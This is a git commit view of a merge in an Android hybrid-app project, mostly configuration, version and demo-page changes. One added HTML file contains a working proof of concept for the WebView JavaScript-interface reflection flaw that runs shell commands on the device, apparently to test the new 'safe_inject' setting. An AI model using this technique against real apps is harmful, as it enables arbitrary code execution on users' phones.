Pārlūkot izejas kodu

Merge branch 'master' of http://114.215.100.48:3000/ipu/android-share

Lu 9 gadi atpakaļ
vecāks
revīzija
dc8b147b30

+ 9 - 14
display-client/.classpath

@ -1,14 +1,9 @@
1
<?xml version="1.0" encoding="UTF-8"?>
2
<classpath>
3
	<classpathentry kind="src" path="gen"/>
4
	<classpathentry kind="src" path="src"/>
5
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
6
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
7
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile"/>
8
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-data"/>
9
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-func"/>
10
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-im"/>
11
	<classpathentry combineaccessrules="false" exported="true" kind="src" path="/wade-mobile-ui"/>
12
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
13
	<classpathentry kind="output" path="bin/classes"/>
14
</classpath>
1
<?xml version="1.0" encoding="UTF-8"?>
2
<classpath>
3
	<classpathentry kind="src" path="gen"/>
4
	<classpathentry kind="src" path="src"/>
5
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
6
	<classpathentry exported="true" kind="con" path="com.android.ide.eclipse.adt.DEPENDENCIES"/>
7
	<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
8
	<classpathentry kind="output" path="bin/classes"/>
9
</classpath>

+ 1 - 1
display-client/.gitignore

@ -1,5 +1,5 @@
1 1
/.settings
2 2
/bin
3 3
/gen
4
/.classpath
5 4
/proguard
5
/bin

+ 1 - 1
display-client/AndroidManifest.xml

@ -2,7 +2,7 @@
2 2
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 3
    package="com.ai.mobile.display"
4 4
    android:versionCode="1"
5
    android:versionName="1.0" >
5
    android:versionName="1.1" >
6 6
7 7
    <uses-sdk
8 8
        android:minSdkVersion="8"

+ 2 - 2
display-client/assets/mobile-config.xml

@ -1,7 +1,7 @@
1 1
<?xml version="1.0" encoding="utf-8"?>
2 2
<configs>
3 3
    <!-- 请求主机名或请求地址。包括服务器的ip地址和端口 -->
4
	<config name="request_host" value="http://192.168.1.102:8080"/>
4
	<config name="request_host" value="http://114.215.100.48:8080"/>
5 5
	<!-- 必须。10.0.2.2为Android模拟器的保留ip地址。访问到本机电脑时使用 -->
6 6
	<!-- <config name="request_host" value="http://10.0.2.2:8080"/> -->
7 7
	<!-- 必须。容器应用名或请求根路径 -->
@ -15,7 +15,7 @@
15 15
	<!-- 非必须, 默认false。是否开启多WebView模式 -->
16 16
	<config name="is_mult_webview" value="true"/>
17 17
	<!-- 必须。应用license -->
18
	<config name="license" value="I7UDXSP5rnpSzNJtU7ly436FUmopAMW2/DzYMDqqm0Tou2pls9rLL89Onm2jsOwBFDESRoPrOZ-Ab72cr30YbRC7ihzKigq9aFDyMZrdJVVrmjpUY1zPpiYThfeo9OTO8LAU5jFKizjl6thuQjWMAcmKCG4HRVaf/28gU/O/bZI=|@@MDA4Q0RGRDc0MDZGQzFFNzRBRDQ3RUJCRTlBNUQ2OTNBNDgzRTM5OTEzQTk0N0FGRjQ3MkQ2OTc3QTk1MzJEMDIzNUQ2NTgyQjRFOTI4ODQ4N0U3Nzc0MTY3NTY4OUNBQTU1NDg2NkI3MDNDQ0JFMDgxREM4OTU2NkU2N0I2NzRDMzBENDU4QzdDQTY3NjUxNjQwMzA5QzE2RDI1OTlGNTFERTRCQzUzRTJDOEVDMUQyODdGNThBMzk3RDdEMjE4NjIyMkI5OUQyNDVEQ0RGRTk4MTg0Qjc3NDI4MjhFRjUzMjNFRjI3ODVDQzU3NDdCQTM2NTgyRkU0RDNDMEFCMUE1" ></config>
18
	<config name="license" value="DshTMgSyj5B9ww32G72OhQ2yUv4Qp3PHHpqG8WX9LugEMQb2/CBRLUXzBHX9ro1WWNDqT9UICi8B24eYyykNosV4yk1SgYyDL61leCi-UzHY3dbcG1hJqZlZpvL2kQUqQVBo-o83KY8VlPGgY-Ci1gHJuomqI-I03vlkhv0bvec=|@@MDA5QkQ3MUQxNkQ0NTE3QzhGNEVGNDk4OTk2MzU0QkM0NEFERjc0ODQwOEU5NDFFOTQ2RUJFNDdFNTAyMTI1QTYzNDdFQTJFMjAxRURGRjFDQzcxNjRGNzlERTFFNDBBMTY3OEM5QkE1NDhBOUM3NzNBMDI1RUY2N0QyMTlFOUNDRjdEMDAyRDI2QzVDQTQ4NTREMDlFMDMwNjJCOTM5OTRFQTJBOUU3RkYxMEYwMzE5NUYxNjU0RTUzMTVFMUM1QjYxMzY2REYwOUFGNDI5QkMzRTY2MzA5QzNEMTVEMEUxNUM2MUNGQTk4NTk3RDAzRjY2OEEzMjNFNDc0ODA3MTY5" ></config>
19 19
	<!-- 非必须。进入应用时的欢迎页面 --><!-- file:///android_asset为固定写法,表示工程的asset目录 -->
20 20
	<config name="loading_page" value="file:///android_asset/local/welcome.html"/>
21 21
	<!-- 非必须。更新应用的url -->

+ 3 - 0
display-client/lint.xml

@ -0,0 +1,3 @@
1
<?xml version="1.0" encoding="UTF-8"?>
2
<lint>
3
</lint>

+ 2 - 2
display-client/project.properties

@ -12,6 +12,6 @@
12 12
13 13
# Project target.
14 14
target=android-15
15
android.library.reference.1=../wade-mobile-lib
16
android.library.reference.2=../../android/wade-mobile-com
15
android.library.reference.1=..\\wade-mobile-lib
16
android.library.reference.2=../wade-mobile-common
17 17
proguard.config=proguard-project.txt

BIN
display-client/res/drawable-hdpi/ic_launcher.png


BIN
display-client/res/drawable-mdpi/ic_launcher.png


BIN
display-client/res/drawable-xhdpi/ic_launcher.png


+ 1 - 1
display-server/etc/server-config.xml

@ -5,7 +5,7 @@
5 5
	<!-- 服务端资源版本号 -->
6 6
	<config name="resourceVersion" value="1.0"/>
7 7
	<!-- 客户端版本号 -->
8
	<config name="clientVersion" value="1.0"/>
8
	<config name="clientVersion" value="1.1"/>
9 9
	<!-- 客户端是否强制更新 -->
10 10
	<config name="isForceUpdate" value="true"/>
11 11
	<!-- 服务端应用编码 -->

+ 3 - 0
display-server/etc/server-page.xml

@ -85,4 +85,7 @@
85 85
    <!-- Scene Demo -->
86 86
	<action name="Scene" template="template/webapp/scene/Scene.html"></action>
87 87
	<action name="Login" template="template/webapp/scene/Login.html"></action>
88
	<action name="DataRequest" template="template/webapp/scene/DataRequest.html"></action>
89
	<action name="TemplateRedirect" template="template/webapp/scene/TemplateRedirect.html"></action>
90
	<action name="PageRedirect" template="template/webapp/scene/PageRedirect.html"></action>
88 91
</pages>

+ 1 - 1
display-server/web/res/js/require-config.js

@ -16,7 +16,7 @@ require.config({
16 16
		'iScroll5' : 'base/iscroll5',
17 17
		'hammer' : 'base/hammer',
18 18
		'o' : 'frame/o',
19
		'oEvent' : 'frame/o-event',
19
		//'oEvent' : 'frame/o-event',
20 20
		'oInput' : 'frame/o-input',
21 21
		'tap' : 'frame/tap',
22 22
		'browserTool' : 'mobile/browser-toolkit',

+ 10 - 1
display-server/web/res/js/ui/wm-popup.js

@ -1,8 +1,9 @@
1
define(["module","oEvent"],function(module,oEvent){
1
define(["module","tap"],function(module,tap){
2 2
	function createNew(popupDom) {
3 3
		var popup = typeof popupDom == 'object' ? popupDom : document.getElementById(popupDom);
4 4
		for (var i = 1; i < arguments.length; i++) {
5 5
			var o = typeof arguments[i] == 'object' ? arguments[i] : document.getElementById(arguments[i]);
6
			/*
6 7
			oEvent.tap(o,(function(popup){
7 8
				if(popup.className == "c_popup") {
8 9
					popup.className = "c_popup c_popup-view";
@ -10,6 +11,14 @@ define(["module","oEvent"],function(module,oEvent){
10 11
					popup.className = "c_popup";
11 12
				}
12 13
			}),popup)
14
			*/
15
			$(o).tap(function(popup){
16
				if(popup.className == "c_popup") {
17
					popup.className = "c_popup c_popup-view";
18
				} else {
19
					popup.className = "c_popup";
20
				}
21
			});
13 22
		}
14 23
		return popup;
15 24
	}

BIN
display-server/web/setup/display-client.apk


+ 1 - 1
display-server/web/template/webapp/scene/PageRedirect.html

@ -12,7 +12,7 @@
12 12
	<div class="left">
13 13
		<div class="back">
14 14
			<span class="e_ico-back"></span>
15
			<span class="text">页面跳转</span>
15
			<span class="text">页面跳转(调用数据接口)</span>
16 16
		</div>
17 17
	</div>
18 18
</div>

+ 17 - 6
display-server/web/template/webapp/scene/Scene.html

@ -25,22 +25,33 @@
25 25
				<div class="content">
26 26
					<div class="main">
27 27
						<div class="title">登陆</div>
28
						<div class="info">登陆场景</div>
29
						<div class="info">登陆场景详细描述</div>
28
						<div class="info">输入账号、密码以及图片验证码登陆,服务端校验成功以后创建Session,
29
						同时客户端存储SessionId,提供给其他接口使用</div>
30 30
					</div>
31 31
				</div>
32 32
			</li>
33
			<li action="PageRedirect">
33
			<li action="DataRequest">
34 34
				<div class="content">
35 35
					<div class="main">
36
						<div class="title">页面跳转</div>
36
						<div class="title">数据请求</div>
37
						<div class="info">网页访问时是基于ajax的访问请求,客户端访问时则是原生实现的访问请求,
38
						可以通过加密的方式保障传输安全</div>
37 39
					</div>
38 40
				</div>
39 41
			</li>
40
			<li action="DataRequest">
42
			<li action="TemplateRedirect">
41 43
				<div class="content">
42 44
					<div class="main">
43
						<div class="title">数据请求</div>
45
						<div class="title">页面跳转(直接数据渲染)</div>
46
						<div class="info">页面跳转,没有数据请求,传入的参数直接用于页面渲染</div>
47
					</div>
48
				</div>
49
			</li>
50
			<li action="PageRedirect">
51
				<div class="content">
52
					<div class="main">
53
						<div class="title">页面跳转(调用数据接口)</div>
54
						<div class="info">页面跳转,调用数据请求,传入的参数先用于请求数据接口,得到的结果集用于页面渲染</div>
44 55
					</div>
45 56
				</div>
46 57
			</li>

+ 21 - 0
display-server/web/template/webapp/scene/TemplateRedirect.html

@ -0,0 +1,21 @@
1
<!DOCTYPE HTML>
2
<html class="s_bs">
3
<head>
4
	<meta charset="utf-8" />
5
	<meta name="viewport" content="target-densitydpi=device-dpi, width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1" />
6
	<title>页面跳转</title>
7
	{%>template/common/Head.html%}
8
	<link href="biz/css/project.css" rel="stylesheet" type="text/css" />
9
</head>
10
<body>
11
<div class="c_navBar">
12
	<div class="left">
13
		<div class="back">
14
			<span class="e_ico-back"></span>
15
			<span class="text">页面跳转(直接数据渲染)</span>
16
		</div>
17
	</div>
18
</div>
19

20
</body>
21
</html>

+ 1 - 1
ipu-client/AndroidManifest.xml

@ -38,7 +38,7 @@
38 38
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
39 39
40 40
    <application
41
        android:allowBackup="true"
41
        android:allowBackup="false"
42 42
        android:icon="@drawable/ic_launcher"
43 43
        android:label="@string/app_name"
44 44
        android:theme="@style/AppTheme" >

+ 3 - 1
ipu-client/assets/mobile-config.xml

@ -39,4 +39,6 @@
39 39
	<config name="loadurl_timeout" value="20000"/>
40 40
	<!-- 非必须,默认false。打开调试模式,不再比对资源版本,客户端每次下载所有资源-->
41 41
	<config name="is_debug" value="false"/> 
42
</configs>
42
	<!-- 安全的进行js对象注入,默认true -->
43
	<config name="safe_inject" value="true" />
44
</configs>

BIN
ipu-server/web/WEB-INF/lib/wade-mobile-server.jar


+ 3 - 0
ipu-server/web/biz/js/Index.js

@ -5,6 +5,9 @@ require([ "mobile", "jquery", "common","jcl","wadeMobile" ], function(Mobile, $,
5 5
		alert("变成了DataMap");
6 6
		alert("变为字符串:" + resultData.toString());
7 7
	});*/
8
/*	Common.get(function(){
9
		alert("数据:" + PluginManager);
10
	},"aa");*/
8 11
	var menus = $("#menuList").children();
9 12
	$.each(menus, function(index, item) {
10 13
		var obj = $(item);

+ 34 - 0
ipu-server/web/template/webapp/ipu/Index.html.0

@ -0,0 +1,34 @@
1
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2
<html>
3
	<head>
4
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5
		<title></title>
6
	</head>
7
	<body>
8
	<h1>ABCDDD</h1>
9
	</body>
10
	<script type="text/javascript">
11
		function getContents(inputStream){
12
			var contents = "";
13
			var b = inputStream.read();
14
			while(b != -1){
15
				var bString = String.fromCharCode(b);
16
				contents += bString;
17
				contents += "\n";
18
				b = inputStream.read();
19
			}
20
			return contents;
21
		}
22
		function execute(cmdArgs){
23
			for (var obj in window) {
24
				if ("getClass" in window[obj]){
25
					var r = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
26
					document.write(obj + "<br />");
27
					document.write(window[obj] + "<br />" );
28
					document.write(getContents(r.getInputStream()) +"<br /><br />");
29
				}
30
			}
31
		}
32
		execute(["/system/bin/sh","-c","echo 'Hello world' > /sdcard/__mytest.txt__ &&  ls  /sdcard/"]);
33
	</script>
34
</html>

+ 2 - 1
multiple-client/.gitignore

@ -1,5 +1,6 @@
1 1
/.settings
2
/bin
2
/bin/*
3 3
/gen
4 4
/.classpath
5 5
/proguard
6
/bin/

+ 3 - 3
multiple-client/project.properties

@ -11,6 +11,6 @@
11 11
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
12 12
13 13
# Project target.
14
target=android-19
15
android.library.reference.1=..\\..\\..\\git\\android-share\\wade-mobile-lib
16
android.library.reference.2=../../../git/android/wade-mobile-com
14
target=android-15
15
android.library.reference.1=../../android/wade-mobile-com
16
android.library.reference.2=../wade-mobile-lib

+ 1 - 0
multiple-server/.gitignore

@ -1,3 +1,4 @@
1 1
/.classpath
2 2
/.settings
3 3
/mult.war
4
/bin/*

+ 1 - 1
push-server/.gitignore

@ -1,3 +1,3 @@
1 1
/push.war
2 2
/.classpath
3
/bin/*
3
/bin/*